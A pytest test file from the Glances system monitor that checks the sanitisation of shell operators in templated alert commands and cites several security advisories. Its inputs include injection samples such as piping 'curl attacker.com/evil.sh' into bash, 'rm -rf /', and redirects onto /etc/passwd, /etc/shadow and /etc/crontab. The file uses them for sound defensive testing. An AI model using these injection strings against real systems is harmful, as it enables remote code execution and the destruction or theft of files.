Files
glances/tests/test_actions_sanitize.py
T

513 lines
19 KiB
Python
Executable File
Raw Blame History

This file contains ambiguous Unicode characters
This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.
#!/usr/bin/env python
#
# Glances - An eye on your system
#
# SPDX-FileCopyrightText: 2024 Nicolas Hennion <nicolas@nicolargo.com>
#
# SPDX-License-Identifier: LGPL-3.0-only
#
"""Glances unit tests for action command sanitization.
Tests cover:
- _sanitize_mustache_dict strips shell operators from string values
- Pipe (|), chain (&&), redirect (>, >>) injection via Mustache values
- Non-string values are preserved unchanged
- The sanitization integrates correctly with GlancesActions.run()
- secure_popen basic functionality
"""
import os
import tempfile
from unittest.mock import patch
import pytest
from glances.actions import GlancesActions, _sanitize_mustache_dict, _sanitize_value
from glances.secure import secure_popen
# Skip the whole module on Windows where echo -n behaves differently
pytestmark = pytest.mark.skipif(
os.name == 'nt',
reason='Shell command tests are POSIX-only',
)
# ---------------------------------------------------------------------------
# Tests – _sanitize_mustache_dict
# ---------------------------------------------------------------------------
class TestSanitizeMustacheDict:
"""Unit tests for _sanitize_mustache_dict."""
def test_none_returns_none(self):
assert _sanitize_mustache_dict(None) is None
def test_empty_dict_returns_empty(self):
assert _sanitize_mustache_dict({}) == {}
def test_strips_pipe(self):
d = {'name': 'innocent|curl evil.com'}
safe = _sanitize_mustache_dict(d)
assert '|' not in safe['name']
assert safe['name'] == 'innocent curl evil.com'
def test_strips_double_ampersand(self):
d = {'name': 'web && curl evil.com'}
safe = _sanitize_mustache_dict(d)
assert '&&' not in safe['name']
assert safe['name'] == 'web curl evil.com'
def test_strips_redirect(self):
d = {'name': 'data > /etc/passwd'}
safe = _sanitize_mustache_dict(d)
assert '>' not in safe['name']
assert safe['name'] == 'data /etc/passwd'
def test_strips_append_redirect(self):
d = {'name': 'data >> /etc/shadow'}
safe = _sanitize_mustache_dict(d)
assert '>>' not in safe['name']
assert safe['name'] == 'data /etc/shadow'
def test_strips_multiple_operators(self):
d = {'name': 'foo|bar && baz > qux >> end'}
safe = _sanitize_mustache_dict(d)
assert '|' not in safe['name']
assert '&&' not in safe['name']
# >> is replaced first (before >), then remaining > is replaced
for op in ('|', '&&', '>>', '>'):
assert op not in safe['name']
def test_preserves_int_values(self):
d = {'cpu_percent': 95, 'name': 'safe'}
safe = _sanitize_mustache_dict(d)
assert safe['cpu_percent'] == 95
def test_preserves_float_values(self):
d = {'load': 3.14, 'name': 'safe'}
safe = _sanitize_mustache_dict(d)
assert safe['load'] == 3.14
def test_preserves_none_values(self):
d = {'key': None, 'name': 'safe'}
safe = _sanitize_mustache_dict(d)
assert safe['key'] is None
def test_preserves_bool_values(self):
d = {'is_up': True, 'name': 'safe'}
safe = _sanitize_mustache_dict(d)
assert safe['is_up'] is True
def test_preserves_list_of_numbers(self):
# Numeric list elements are not strings: left unchanged.
d = {'ports': [80, 443], 'name': 'safe'}
safe = _sanitize_mustache_dict(d)
assert safe['ports'] == [80, 443]
def test_strips_operators_in_nested_list(self):
# GHSA-73wf-9vmv-5pv9: process cmdline is a list of attacker argv.
d = {'cmdline': ['x', '|touch /tmp/evil', '#']}
safe = _sanitize_mustache_dict(d)
assert '|' not in ''.join(safe['cmdline'])
assert safe['cmdline'] == ['x', ' touch /tmp/evil', '#']
def test_strips_operators_in_nested_dict(self):
d = {'meta': {'k': 'a|b && c > d'}}
safe = _sanitize_mustache_dict(d)
for op in ('|', '&&', '>'):
assert op not in safe['meta']['k']
def test_strips_operators_in_deeply_nested(self):
d = {'outer': {'inner': ['ok', 'evil|rm -rf /']}}
safe = _sanitize_mustache_dict(d)
assert '|' not in safe['outer']['inner'][1]
def test_preserves_tuple_type(self):
d = {'args': ('a', 'b|c')}
safe = _sanitize_mustache_dict(d)
assert isinstance(safe['args'], tuple)
assert '|' not in safe['args'][1]
def test_sanitize_value_passthrough_non_string(self):
assert _sanitize_value(95) == 95
assert _sanitize_value(3.14) == 3.14
assert _sanitize_value(True) is True
assert _sanitize_value(None) is None
def test_clean_string_unchanged(self):
d = {'name': 'my-web-server', 'mnt_point': '/data/disk1'}
safe = _sanitize_mustache_dict(d)
assert safe['name'] == 'my-web-server'
assert safe['mnt_point'] == '/data/disk1'
def test_does_not_mutate_original(self):
d = {'name': 'foo|bar'}
_sanitize_mustache_dict(d)
assert d['name'] == 'foo|bar'
def test_returns_new_dict(self):
d = {'name': 'foo'}
safe = _sanitize_mustache_dict(d)
assert safe is not d
# ---------------------------------------------------------------------------
# Tests – Command injection scenarios
# ---------------------------------------------------------------------------
class TestCommandInjectionPrevention:
"""Verify that crafted Mustache values cannot inject commands."""
def test_pipe_injection_in_process_name(self):
"""Simulate: process name contains pipe to inject curl command."""
mustache_dict = {
'name': 'innocent|curl attacker.com/evil.sh|bash',
'cpu_percent': 99.0,
}
safe = _sanitize_mustache_dict(mustache_dict)
# The pipe characters must be gone
assert '|' not in safe['name']
assert 'curl' in safe['name'] # text is preserved, just operator removed
def test_chain_injection_in_container_name(self):
"""Simulate: container name contains && to chain commands."""
mustache_dict = {
'name': 'web && curl attacker.com/rev.sh | bash && echo ',
'Image': 'nginx:latest',
'Id': 'abc123',
'cpu': 95.0,
}
safe = _sanitize_mustache_dict(mustache_dict)
assert '&&' not in safe['name']
assert '|' not in safe['name']
# Non-string fields untouched
assert safe['cpu'] == 95.0
def test_redirect_injection_in_mount_point(self):
"""Simulate: mount point contains redirect to overwrite files."""
mustache_dict = {
'mnt_point': '/data > /etc/crontab',
'used': 900000,
'size': 1000000,
}
safe = _sanitize_mustache_dict(mustache_dict)
assert '>' not in safe['mnt_point']
def test_append_redirect_injection(self):
"""Simulate: value contains >> to append to sensitive files."""
mustache_dict = {
'name': 'logger >> /etc/shadow',
}
safe = _sanitize_mustache_dict(mustache_dict)
assert '>>' not in safe['name']
def test_lone_ampersand_is_stripped(self):
"""GHSA-qcpp-8x79-hhp3: a single '&' (not '&&') must also be neutralised,
otherwise two adjacent unescaped variables can rejoin it into '&&'."""
safe = _sanitize_mustache_dict({'name': 'evilproc&'})
assert '&' not in safe['name']
assert safe['name'] == 'evilproc '
def test_cross_field_ampersand_reconstruction_blocked(self):
"""GHSA-qcpp-8x79-hhp3: a trailing '&' in one value and a leading '&' in
the next must not reconstruct a real '&&' when rendered back to back."""
d = {'a': 'evilproc&', 'b': '& touch /tmp/evil'}
safe = _sanitize_mustache_dict(d)
# Concatenation of two unescaped variables (chevron {{{a}}}{{{b}}}).
rendered = safe['a'] + safe['b']
assert '&&' not in rendered
# ---------------------------------------------------------------------------
# Tests – secure_popen basic functionality
# ---------------------------------------------------------------------------
class TestSecurePopen:
"""Basic tests for secure_popen."""
def test_simple_echo(self):
assert secure_popen('echo -n TEST') == 'TEST'
def test_chained_commands(self):
assert secure_popen('echo -n A && echo -n B') == 'AB'
def test_pipe(self):
result = secure_popen('echo FOO | grep FOO')
assert 'FOO' in result
def test_redirect_to_file(self):
with tempfile.NamedTemporaryFile(mode='r', suffix='.txt', delete=False) as f:
tmpfile = f.name
try:
secure_popen(f'echo -n HELLO > {tmpfile}')
with open(tmpfile) as f:
assert f.read() == 'HELLO'
finally:
os.unlink(tmpfile)
# ---------------------------------------------------------------------------
# Tests – GlancesActions.run() integration
# ---------------------------------------------------------------------------
class TestActionsRunIntegration:
"""Verify that GlancesActions.run() uses sanitized mustache values."""
@pytest.fixture
def actions(self):
"""Create a GlancesActions instance with an expired start timer."""
a = GlancesActions()
# Force the start timer to be finished so actions can run immediately
a.start_timer = type('FakeTimer', (), {'finished': lambda self: True})()
return a
def test_run_with_safe_values(self, actions):
"""Normal run with safe values should succeed."""
result = actions.run(
'cpu',
'CRITICAL',
['echo -n {{name}}'],
repeat=False,
mustache_dict={'name': 'myprocess'},
)
assert result is True
def test_run_sanitizes_pipe_in_mustache(self, actions):
"""Pipe in mustache value must not create a real pipe."""
with patch('glances.actions.secure_popen') as mock_popen:
mock_popen.return_value = ''
actions.run(
'cpu',
'CRITICAL',
['echo {{name}}'],
repeat=False,
mustache_dict={'name': 'evil|rm -rf /'},
)
# The command passed to secure_popen should have | replaced
called_cmd = mock_popen.call_args[0][0]
assert '|' not in called_cmd
assert 'evil' in called_cmd
assert 'rm -rf /' in called_cmd # text preserved, pipe removed
def test_run_sanitizes_chain_in_mustache(self, actions):
"""&& in mustache value must not chain commands."""
with patch('glances.actions.secure_popen') as mock_popen:
mock_popen.return_value = ''
actions.run(
'containers',
'WARNING',
['echo {{name}}'],
repeat=False,
mustache_dict={'name': 'web && cat /etc/passwd'},
)
called_cmd = mock_popen.call_args[0][0]
assert '&&' not in called_cmd
def test_run_sanitizes_redirect_in_mustache(self, actions):
"""> in mustache value must not redirect output."""
with patch('glances.actions.secure_popen') as mock_popen:
mock_popen.return_value = ''
actions.run(
'fs',
'CRITICAL',
['echo {{mnt_point}}'],
repeat=False,
mustache_dict={'mnt_point': '/data > /etc/crontab'},
)
called_cmd = mock_popen.call_args[0][0]
assert '>' not in called_cmd
def test_run_preserves_template_operators(self, actions):
"""Operators in the template itself (not in values) must be preserved."""
with patch('glances.actions.secure_popen') as mock_popen:
mock_popen.return_value = ''
# The template has a pipe, but the mustache value is clean
actions.run(
'cpu',
'CRITICAL',
['echo {{name}} | grep something'],
repeat=False,
mustache_dict={'name': 'safe-process'},
)
called_cmd = mock_popen.call_args[0][0]
# Template pipe is preserved
assert '|' in called_cmd
assert 'grep something' in called_cmd
def test_run_preserves_template_redirect(self, actions):
"""Redirect in the template itself must be preserved."""
with patch('glances.actions.secure_popen') as mock_popen:
mock_popen.return_value = ''
actions.run(
'fs',
'WARNING',
['echo {{mnt_point}} > /tmp/alert.log'],
repeat=False,
mustache_dict={'mnt_point': '/data/disk1'},
)
called_cmd = mock_popen.call_args[0][0]
assert '>' in called_cmd
assert '/tmp/alert.log' in called_cmd
def test_run_preserves_template_chain(self, actions):
"""&& in the template itself must be preserved."""
with patch('glances.actions.secure_popen') as mock_popen:
mock_popen.return_value = ''
actions.run(
'cpu',
'CRITICAL',
['echo {{name}} && echo done'],
repeat=False,
mustache_dict={'name': 'safe-process'},
)
called_cmd = mock_popen.call_args[0][0]
assert '&&' in called_cmd
def test_run_sanitizes_cmdline_section(self, actions):
"""GHSA-73wf-9vmv-5pv9: a pipe in the process cmdline list (rendered via
a Mustache section) must not survive into secure_popen."""
with patch('glances.actions.secure_popen') as mock_popen:
mock_popen.return_value = ''
actions.run(
'processlist',
'CRITICAL',
['echo ALERT {{#cmdline}}{{.}} {{/cmdline}}'],
repeat=False,
mustache_dict={'cmdline': ['x', '|touch /tmp/evil', '#']},
)
called_cmd = mock_popen.call_args[0][0]
assert '|' not in called_cmd
assert 'touch /tmp/evil' in called_cmd # text preserved, pipe removed
def test_run_blocks_cross_field_ampersand_chain(self, actions):
"""GHSA-qcpp-8x79-hhp3: two adjacent unescaped variables whose values
end/begin with '&' must not reconstruct a real '&&' command chain."""
with patch('glances.actions.secure_popen') as mock_popen:
mock_popen.return_value = ''
actions.run(
'processlist',
'CRITICAL',
['logger p={{{name}}}{{{cmdline}}}'],
repeat=False,
mustache_dict={'name': 'evilproc&', 'cmdline': '& touch /tmp/evil'},
)
called_cmd = mock_popen.call_args[0][0]
assert '&&' not in called_cmd
def test_run_does_not_execute_when_already_triggered(self, actions):
"""Same criticality should not re-trigger if repeat=False."""
actions.set('cpu', 'CRITICAL')
result = actions.run(
'cpu',
'CRITICAL',
['echo test'],
repeat=False,
mustache_dict={},
)
assert result is False
def test_run_repeats_when_repeat_true(self, actions):
"""Same criticality should re-trigger when repeat=True."""
actions.set('cpu', 'CRITICAL')
result = actions.run(
'cpu',
'CRITICAL',
['echo test'],
repeat=True,
mustache_dict={},
)
assert result is True
# ---------------------------------------------------------------------------
# Tests – --disable-config-exec on the on-alert action path
# ---------------------------------------------------------------------------
class _Args:
"""Minimal args stub carrying only disable_config_exec."""
def __init__(self, disable_config_exec):
self.disable_config_exec = disable_config_exec
class TestActionsDisableConfigExec:
"""GHSA-59fj-m2j6-hcxh: --disable-config-exec must also disable shell
operators (&&, |, >) in config-defined on-alert action commands, not only
in AMP commands.
"""
def _make_actions(self, args):
a = GlancesActions(args=args)
# Force the start timer to be finished so actions can run immediately
a.start_timer = type('FakeTimer', (), {'finished': lambda self: True})()
return a
def test_allow_operators_true_when_no_args(self):
assert GlancesActions().allow_operators() is True
def test_allow_operators_true_when_flag_absent(self):
assert GlancesActions(args=object()).allow_operators() is True
def test_allow_operators_false_when_disabled(self):
assert GlancesActions(args=_Args(True)).allow_operators() is False
def test_allow_operators_true_when_enabled(self):
assert GlancesActions(args=_Args(False)).allow_operators() is True
def test_run_passes_allow_operators_false_when_disabled(self):
"""With --disable-config-exec, secure_popen must be called with
allow_operators=False so operators in the command are not interpreted."""
actions = self._make_actions(_Args(True))
with patch('glances.actions.secure_popen') as mock_popen:
mock_popen.return_value = ''
actions.run(
'cpu',
'CRITICAL',
['echo MARKER > /tmp/poc_marker'],
repeat=False,
mustache_dict={},
)
assert mock_popen.call_args.kwargs['allow_operators'] is False
def test_run_passes_allow_operators_true_by_default(self):
"""Without the flag, the historical behavior (operators interpreted) is
preserved for backward compatibility."""
actions = self._make_actions(_Args(False))
with patch('glances.actions.secure_popen') as mock_popen:
mock_popen.return_value = ''
actions.run(
'cpu',
'CRITICAL',
['echo MARKER > /tmp/poc_marker'],
repeat=False,
mustache_dict={},
)
assert mock_popen.call_args.kwargs['allow_operators'] is True
def test_run_disabled_does_not_write_redirect_file(self):
"""End-to-end: the '>' redirect must not create a file when the flag is
set (this is the concrete PoC from the advisory)."""
with tempfile.NamedTemporaryFile(suffix='.txt', delete=False) as f:
marker = f.name
os.unlink(marker) # remove so we can detect a spurious re-creation
try:
actions = self._make_actions(_Args(True))
actions.run(
'cpu',
'CRITICAL',
[f'echo -n MARKER > {marker}'],
repeat=False,
mustache_dict={},
)
# allow_operators=False => '>' is a literal argument, no file written
assert not os.path.exists(marker)
finally:
if os.path.exists(marker):
os.unlink(marker)